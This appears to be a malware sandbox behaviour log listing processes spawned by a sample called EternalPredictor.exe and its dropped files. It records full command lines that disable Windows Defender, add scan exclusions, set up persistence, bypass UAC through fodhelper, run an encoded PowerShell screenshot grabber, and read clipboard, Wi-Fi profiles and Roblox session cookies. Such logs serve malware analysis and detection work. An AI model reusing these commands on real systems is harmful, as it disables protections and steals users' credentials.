Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\consent.exe

Memory written: C:\Windows\System32\svchost.exe base: F642FE388

Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\eternal.exe "C:\Users\user\AppData\Roaming\eternal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\skuld.exe "C:\Users\user\AppData\Roaming\skuld.exe"	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\program.exe "C:\Users\user\AppData\Roaming\program.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s C:\Users\user\AppData\Roaming\skuld.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get UUID	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Users\user\AppData\Roaming\program.exe "C:\Users\user\AppData\Roaming\program.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\consent.exe consent.exe 6092 324 0000019985E22B80	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2A5B.tmp" "c:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaia